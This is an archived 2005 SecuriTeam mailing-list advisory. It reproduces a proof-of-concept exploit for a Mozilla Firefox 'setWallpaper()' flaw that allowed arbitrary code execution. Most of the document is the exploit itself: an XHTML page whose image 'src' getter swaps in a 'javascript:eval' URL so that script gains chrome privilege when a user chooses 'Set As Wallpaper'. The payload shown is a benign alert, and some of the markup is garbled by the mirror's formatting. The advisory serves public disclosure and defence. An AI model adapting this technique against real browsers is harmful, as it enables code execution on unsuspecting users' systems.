

Securiteam: [NT] Mozilla Firefox and Suite "setWallpaper()" Code Execution (Exploit)

[NT] Mozilla Firefox and Suite "setWallpaper()" Code Execution (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-08/0017.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/02/05

To: list@securiteam.com

Date: 2 Aug 2005 18:03:08 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Mozilla Firefox and Suite "setWallpaper()" Code Execution (Exploit)

SUMMARY

An error in Mozilla Firefox when it handles Wallpapers could be exploited by attackers to run arbitrary code on a vulnerable system by convincing a user to use the "Set As Wallpaper" context menu item on a specially crafted image.

DETAILS

```
// Exploit by moz_bug_r_a4
< ?xml version="1.0"?>
< html xmlns="http://www.w3.org/1999/xhtml">
< head>
< style>
IMG {
display: block;
width: 96px; height: 96px;
border: 1px solid #f00;
/*background-image: url("http://www.mozilla.org/images/mozilla-16.png");*/
background-image: url("
AAABAAAAAQCAIAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29md
```

Securiteam: [NT] Mozilla Firefox and Suite "setWallpaper()" Code Execution (Exploit)

```
HdhcmUAQWRvYmUgSW1hZ2VSZWVkeXhJZTAAAHWSURBVHjaYvz//z8DJQAg  
gJiQOe/fv2fv7Oz8rays/N+VkfG/iYnJfyD/1+rVq7ffu3dPFpsBAAHEAHIBCJ85c8bN  
2Nj4vwsDw/8zQLwKiO8CcRoQu0DxqlWrdsHUwzBAAIGJmTNnPgYa9j8UqhFEIwP  
xf2MIDeIrKSn9FwSJoRkAEEAM0DD4DzMAyPi/G+QKY4hh5WAXGf8PDQ0FGwJ2  
2d27CjADAAlIrLmjo+MXA9R2kAHvGBA2wwx6B8W7od6CeQcggKcMCEL8bgwx  
YCbUIGTDVkhDBia+CuotgACCueD3TDQN75D4xmAvCoK9ARMHBzAw0AECiBH  
kAlC0Mdy7x9ABNA3obAZXIAa6iKEcGIMVQHwWyjYuL2d4v2cPg8vZswx7gHyAA  
AK7AOif7SAboqCmn4Ha3AHFsIDtgPq/vLz8P4MSkJ2W9h8ggBjevXvHDo4FQUQ  
g/kdypqCg4H8IUIACnQ/SOBYI8bAsAJFPcj1AAEEjwVQqLpAbXmH5BJjqI0gi9D  
TAAgDBBCCaVLkgmQ7yKCZxpCQxqUZhAECCJ4XgMl493ug21ZD+aDAXH0WL  
M4A9MZPXJkIIIAwTAR5pQMalaCABQUULtBGCCAGCnNzgABBgAMJ5THwGvJL  
AAAAABJRU5ErkJggg==");
```

```
}
```

```
</style>
```

```
</head>
```

```
< body>
```

```
< h3>Arbitrary code execution via setWallpaper()< /h3>
```

```
< pre>
```

1. Right click on the image.
2. Choose "Set As Wallpaper..." from the context menu.

A dialog that shows Components.stack will appear.

```
< /pre>
```

```
< IMG id="i"/>
```

```
< script>
```

```
< ![CDATA[
```

```
var sx = navigator.productSub < 20050622 ? 2 : 4;
```

```
// it needs chrome privilege to get |Components.stack|  
var code = "alert('Exploit!\\n\\n' + Components.stack);";  
var evalCode = code.replace(/g, "").replace(/\\/g, "\\");
```

```
var u = [ "http://www.mozilla.org/images/mozilla-16.png",  
"javascript:eval('\" + evalCode + \"')" ];
```

```
var sc = 0;
```

```
var i = document.getElementById("i");
```

```
i.addEventListener("contextmenu", function(e) { sc = 0; }, false);
```

```
i.__defineGetter__("src", function() {
```

```
//return (confirm(++sc)) ? u[0] : u[1];
```

```
return (++sc < sx) ? u[0] : u[1];
```

```
});
```

```
]]>
```

```
< /script>
```

```
< /body>
```

```
< /html>
```

Securiteam: [NT] Mozilla Firefox and Suite "setWallpaper()" Code Execution (Exploit)

ADDITIONAL INFORMATION

The information has been provided by moz_bug_r_a4.

The original article can be found at:

<<http://www.frsirt.com/exploits/20050712.mfsa2005-55exploit.php>>

<http://www.frsirt.com/exploits/20050712.mfsa2005-55exploit.php>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.